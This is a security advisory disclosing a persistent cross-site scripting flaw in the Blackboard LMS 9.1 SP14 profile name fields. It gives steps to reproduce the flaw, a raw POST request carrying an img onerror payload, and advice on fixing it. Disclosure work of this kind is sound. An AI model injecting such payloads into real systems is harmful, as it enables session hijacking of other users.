Document Title:
===============
Blackboard LMS 9.1 SP14 - (Profile) Persistent Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1900
Release Date:
=============
2017-01-09
Vulnerability Laboratory ID (VL-ID):
====================================
1900
Common Vulnerability Scoring System:
====================================
4.2
Product & Service Introduction:
===============================
Blackboard Learn (previously the Blackboard Learning Management System), is a virtual learning environment and course management system
developed by Blackboard Inc. It is Web-based server software which features course management, customizable open architecture, and scalable
design that allows integration with student information systems and authentication protocols. It may be installed on local servers or hosted
by Blackboard ASP Solutions. Its main purposes are to add online elements to courses traditionally delivered face-to-face and to develop
completely online courses with few or no face-to-face meetings.
(Copy of the Homepage: http://www.blackboard.com/learning-management-system/blackboard-learn.aspx )
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered an application-side input validation vulnerability in the official Blackboard LMS 9.1 SP14.
Vulnerability Disclosure Timeline:
==================================
2017-01-09: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
BlackBoard Inc.
Product: Blackboard LMS - Content Management System 9.1 SP 14
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
A persistent cross site scripting web vulnerability has been discovered in Blackboard LMS official web-application.
Remote attackers are able to inject malicious code into profile information module, the vulnerability is located in
the first name,last name of user profile, the vulnerable fields in the module (userVO.firstName & userVO.lastName).
The issue allows an attacker to inject own malicious java script codes to the vulnerable modules context. The execution
of the vulnerability occurs in Blackboard LMS main panel & user management module. Due to our investigation we discovered
that users with low privileged access are able to to inject their own java code to compromise other moderator or admin
session credentials. The request method to inject is POST and the attack vector of the issue is persistent. The execute
occurs each time an account visits the profile page of the attacking user account.
The security risk of the vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 4.2
Exploitation of the web vulnerability requires a low privileged user account with restricted access and low user interaction.
Successful exploitation of the vulnerability results in persistent phishing mails, session hijacking, persistent external
redirect to malicious sources and application-side manipulation of affected or connected module context.
Proof of Concept (PoC):
=======================
The persistent vulnerability can be exploited by remote attackers with low privileged web-application user account and low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
Manual steps to reproduce the vulnerability ...
1. User register in the blackboard LMS course as student .
2. User goes to profile information section and inject the code persistent payload > into the firstname or lastname input fields
Note: https://b-lms.localhost:8000/webapps/Bb-sites-user-profile-BBLEARN/profile.form
3. User submits data and saves it via POST method request with out secure parse by the web validation
4. The execution of vulnerability occurs in the user management:
https://b-lms.localhost:8000/webapps/Bb-sites-enrollment-manager-BBLEARN/enrollmentManager.form?course_id=_431252_1
5. Successfully reproduce the application-side web validation vulnerability!
--- PoC Session Logs [POST] ---
POST /webapps/Bb-sites-user-profile-BBLEARN/profile.form HTTP/1.1
Host: b-lms.localhost:8000
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://b-lms.localhost:8000/webapps/Bb-sites-user-profile-BBLEARN/profile.form
Cookie: JSESSIONID=285EAF6ED95FF4574CADF4FF90F218B1; __utma=154552106.1787260759.1470597563.1470597563.1470652392.2;
__utmz=154552106.1470597563.1.1.utmcsr=vulnlab.coursesites.com|utmccn=(referral)|utmcmd=referral|utmcct=/; COOKIE_CONSENT_ACCEPTED=true;
NSC_106969_wjq_69.196.229.208.hspvq=ffffffff090d159545525d5f4f58455e445a4a42378b; session_id=153E1080C32EF7E9393910EC45598887;
s_session_id=FCCF148598E6531BC4167D5C3B8A2949; JSESSIONID=C866524B3CA437DF8E0AC184746DBD36; __utmb=154552106.26.9.1470653164713; __utmc=154552106; __utmt=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 605
userVO.firstName=%3Cimg+src%3Dx+onerror%3Dprompt%284%29%3E&userVO.lastName=%3Cimg+src%3Dx+onerror%3Dprompt%284%29%3E&userVO.user.educationLevel=
Not+Disclosed&userVO.user.gender=Not+Disclosed&birthDate_datetime=&pickdate=&pickname=&birthDate_date=&userVO.user.studentId=&userType=HE_STUDENT
&userVO.user.emailAddress=sec%40secteach.me&userVO.user.street1=&userVO.user.city=&userVO.user.state=&userVO.user.zipCode=&userVO.user.country=AF
&userVO.user.mobilePhone=&userVO.user.homePhone1=&userVO.user.webPage=&userVO.userProfile.institutionGuid=User_Instr_2015-02-22_19%3A31%3A21.304
&userVO.user.jobTitle=&userVO.user.department=&top_Submit=Submit
-
RESPONSE
HTTP/1.1 200 OK
Date: Mon, 08 Aug 2016 11:06:31 GMT
Server: Apache/1.3.42 (Unix) mod_ssl/2.8.31 OpenSSL/1.0.1g mod_jk/1.2.37
X-Blackboard-appserver: fgprd-106969-156642-app006.mhint
P3P: CP="CAO PSA OUR"
X-Blackboard-product: Blackboard Learn ™ 9.1.140152.0
Set-Cookie: session_id=153E1080C32EF7E9393910EC45598887; Path=/; HttpOnly
Set-Cookie: s_session_id=FCCF148598E6531BC4167D5C3B8A2949; Path=/; Secure; HttpOnly
Pragma: no-cache
Cache-Control: no-cache, no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Last-Modified: Fri, 18 Jul 2014 19:02:32 GMT
Content-Language: en-US
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html;charset=UTF-8
Reference(s):
https://b-lms.localhost:8000/
https://b-lms.localhost:8000/webapps/
https://b-lms.localhost:8000/webapps/Bb-sites-user-profile-BBLEARN/
https://b-lms.localhost:8000/webapps/Bb-sites-user-profile-BBLEARN/profile.form
Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse or encode of the vulnerable firstname and lastname input fields.
Disallow the usage of special chars and filter the entries by an escape. Parse the output context in the profile.form to
prevent application-side executions.
Security Risk:
==============
The security risk of the application-side input validation vulnerabilities in the user profile section is estimated as medium. (CVSS 4.2)
Credits & Authors:
==================
Vulnerability Lab [Research Team] - Lawrence Amer (http://www.vulnerability-lab.com/show.php?user=Lawrence%20Amer)
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=========================
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